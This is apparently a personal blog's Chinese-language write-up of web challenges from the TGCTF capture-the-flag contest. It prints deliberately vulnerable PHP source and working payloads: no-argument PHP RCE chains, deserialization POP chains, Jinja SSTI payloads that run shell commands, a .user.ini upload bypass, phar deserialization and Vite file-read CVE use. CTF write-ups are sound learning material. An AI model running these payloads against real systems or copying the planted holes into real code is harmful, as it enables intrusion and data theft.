TGCTF

a1wAys 发布于 2025-04-15 112 次阅读


杭师校赛,就解了两道最简单的,我是彩笔🥲

AAA偷渡阴平

考查php特性,这个ez,看禁用了除2以外的数字,括号没禁用英文格式,直接尝试无参数rce

参考无参数读文件和RCE总结

大佬总结也是十分详细啊,直接搬过来了

print_r(scandir(getcwd())); //输出当前文件夹所有文件名

没东西啊,那多半在根目录了

print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //查看跟目录文件名

这构造的就有点高了

让我们来看一下

经过crypt加密后最后一位有概率出现“/”,用strrev颠倒ord提取再chr转字符就能用了,妙不过这不是100%,所有得多尝试几次

有flag文件

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd())))); //查看根目录随机一个文件

chdir先把工作目录切到根目录,然后再用array_rand(array_flip())随机找一个文件读,也是概率读到flag

无数遍刷新也是刷出来了,这不比抽卡脸黑


火眼辩魑魅


怪异的界面,查看robots

给了好多文件,就不一一看了,直接打开tgser.php

<?php
error_reporting(0);
class road{
    public function __get($arg1) {
        $blacklist = ['DirectoryIterator', 'Error', 'Exception', 'SoapClient', 'FilesystemIterator', 'SimpleXMLElement', 'GlobIterator', 'ReflectionClass', 'ReflectionObject'];
        array_walk($this, function ($day1, $day2) use ($blacklist) {
            if (in_array($day2, $blacklist)) {die('hacker');}
            $day3 = new $day2($day1);
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}

class river{
    public $fish;
    public $shark;
    public function __invoke() {
        if (md5($this->fish) == $this->fish) {
            return $this->shark->upper;
        }
    }
}

class sky{
    public $bird;
    public $eagle;
    public function __construct($a) {
        $this->bird = $a;
    }
    function __destruct() {
        echo $this->bird;
    }
    public function __toString() {
        $newFunc = $this->eagle;
        return $newFunc();
    }
}
$way=$_POST['J'];
@unserialize(base64_decode($way));
?>

标准反序列化题,不过这题直接被ds给秒了。。。。。

还是手动分析一下,找到起始点destruct,在sky类,紧接着用作对象来触发tostring,有()来作为函数触发river类的invoke,invoke中的未定义变量触发_get函数,然后构造命令

day2为属性名,day1为属性参数,并存在day2(day1),明显原生类利用,找到未被过滤的原生类

使用RecursiveDirectoryIterator来遍历目录

找到/tgfffffillllaagggggg文件

使用sqlfileobject读取文件内容

看了下官方wp,没想到这还是个非预期,再做一下常规做法

进入tgxff.php

很明显xff,可惜本地好像用不了

xff模板注入

直面天命

进入hint,发现有一个提示,爆破路由,发现是/aazz

提示可以传参,用arjun爆破参数

发现是filename,猜测可以读取任意文件,直接读app.py

其中找到

直面天命替换了{{}},模板注入没跑了

{{[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]
["\x5f\x5fsubclasses\x5f\x5f"]()[351]('cat
flag',shell=True,stdout=-1).communicate()[0].strip()}}

编码绕过

不过这题似乎可以直接目录穿越

目录穿越,直接拿到flag

前端GAME

先玩小游戏,给了flag路径,游戏名是vue3 game with vite,去搜一下

也是轻易发现了cve,直接打

Vite-CVE-2025-30208

成功

什么文件上传?

首先查看robots.txt

三位字母,直接爆破,发现是atg,打开class.php

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    function best64_decode($str)
    {
        return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
    }
    class yesterday {
        public $learn;
        public $study="study";
        public $try;
        public function __construct()
        {
            $this->learn = "learn<br>";
        }
        public function __destruct()
        {
            echo "You studied hard yesterday.<br>";
            return $this->study->hard();
        }
    }
    class today {
        public $doing;
        public $did;
        public $done;
        public function __construct(){
            $this->did = "What you did makes you outstanding.<br>";
        }
        public function __call($arg1, $arg2)
        {
            $this->done = "And what you've done has given you a choice.<br>";
            echo $this->done;
            if(md5(md5($this->doing))==666){
                return $this->doing();
            }
            else{
                return $this->doing->better;
            }
        }
    }
    class tommoraw {
        public $good;
        public $bad;
        public $soso;
        public function __invoke(){
            $this->good="You'll be good tommoraw!<br>";
            echo $this->good;
        }
        public function __get($arg1){
            $this->bad="You'll be bad tommoraw!<br>";
        }

    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

        public function __set($arg1, $arg2) {
            if ($this->out->useful7) {
                echo "Seven is my lucky number<br>";
                system('whoami');
            }
        }
        public function __toString(){
            echo "This is your future.<br>";
            system($_POST["wow"]);
            return "win";
        }
        public function __destruct(){
            $this->no = "no";
            return $this->no;
        }
    }
    if (file_exists($_GET['filename'])){
        echo "Focus on the previous step!<br>";
    }
    else{
        $data=substr($_GET['filename'],0,-4);
        unserialize(best64_decode($data));
    }
    // You learn yesterday, you choose today, can you get to your future?
?> 

很奇怪,直接传参filename就行,跟文件上传似乎没关系,构造简单pop链,

yesterday的destruct触发未定义函数到today的__call,md5被当字符串触发future的tostring,命令执行

$pop=new yesterday();
$pop->study=new today();
$pop->study->doing=new future();
echo serlialize($pop);

然后base64五次就好啦

ezupload

burp扫出有备份文件bak,下载打开

<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

        if (isset($_GET['name'])) {
            $file_name = $_GET['name'];
        } else {
            $file_name = basename($_FILES['name']['name']);
        }
        $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['name']['tmp_name'];
            $file_content = file_get_contents($temp_file);

            if (preg_match('/.+?</s', $file_content)) {
                $msg = '文件内容包含非法字符,禁止上传!';
                $status_code = 403; // 403 表示禁止访问
            } else {
                $img_path = UPLOAD_PATH . $file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                    $msg = '文件上传成功!';
                } else {
                    $msg = '上传出错!';
                    $status_code = 500; // 500 表示服务器内部错误
                }
            }
        } else {
            $msg = '禁止保存为该类型文件!';
            $status_code = 403; // 403 表示禁止访问
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        $status_code = 404; // 404 表示资源未找到
    }
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
    'status_code' => $status_code,
    'msg' => $msg,
]);

发现有name参数且并未做任何限制,可以目录穿越,直接上传.user.ini到根目录,然后上传图片格式的木马,再打开index.php即可,最后flag在phpinfo里

刷新页面

成功

AAA偷渡阴平(复仇)

原题的升级版,感觉更像ban了一些明显的非预期

同样参考无参数读文件和RCE总结,比赛的时候居然没看到后面的方法也同样有解析,可恶。

ban了绝大部分函数,少了很多无参数方法,session和2没ban掉,很明显用hex2bin执行函数

636174202f666c6167是cat /flag的十六进制

同时记录一下官方非预期(

附上ai解释

接下来转需要随意修改头信息即可(如ua头等

什么文件上传?(复仇)

同原题,先看robots,后缀已经爆破过.atg

<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
    return base64_encode(md5(base64_encode(md5($str))));
    }
class yesterday {
    public $learn;
    public $study="study";
    public $try;
    public function __construct()
    {
        $this->learn = "learn<br>";
    }
    public function __destruct()
    {
        echo "You studied hard yesterday.<br>";
        return $this->study->hard();
    }
}
class today {
    public $doing;
    public $did;
    public $done;
    public function __construct(){
        $this->did = "What you did makes you outstanding.<br>";
    }
    public function __call($arg1, $arg2)
    {
        $this->done = "And what you've done has given you a choice.<br>";
        echo $this->done;
        if(md5(md5($this->doing))==666){
            return $this->doing();
        }
        else{
            return $this->doing->better;
        }
    }
}
class tommoraw {
    public $good;
    public $bad;
    public $soso;
    public function __invoke(){
        $this->good="You'll be good tommoraw!<br>";
        echo $this->good;
    }
    public function __get($arg1){
        $this->bad="You'll be bad tommoraw!<br>";
    }

}
class future{
    private $impossible="How can you get here?<br>";
    private $out;
    private $no;
    public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

    public function __set($arg1, $arg2) {
        if ($this->out->useful7) {
            echo "Seven is my lucky number<br>";
            system('whoami');
        }
    }
    public function __toString(){
        echo "This is your future.<br>";
        system($_POST["wow"]);
        return "win";
    }
    public function __destruct(){
        $this->no = "no";
        return $this->no;
    }
}
if (file_exists($_GET['filename'])){
    echo "Focus on the previous step!<br>";
}
else{
    $data=substr($_GET['filename'],0,-4);
    unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?> 

跟之前相同,只是不能直接传参filename,选择上传phar文件进行反序列化

改.atg后缀上传文件

最后传wow查看env环境,找到flag

前端GAME Plus

跟上题一模一样cve

https://blog.meteorkai.top/2025/04/04/Vite%E5%BC%80%E5%8F%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0-CVE-2025-31125/#%E6%9C%AA%E5%85%AC%E5%BC%80POC

前端GAME Ultra

跟前两个还是一样,改成用curl传即可

直面天命(复仇)

这跟原版一样啊

就不看源码了,{{}}改成了天命难违

标准ssti注入payload:天命g['pop']['globals']['builtins']'import'['read']()难违,有很多过滤直接unicode编码

payload:天命g['\u0070\u006f\u0070']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']'\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f'['\u0072\u0065\u0061\u0064']()难违

拿到flag

熟悉的配方,熟悉的味道

此作者没有提供个人介绍
最后更新于 2025-05-22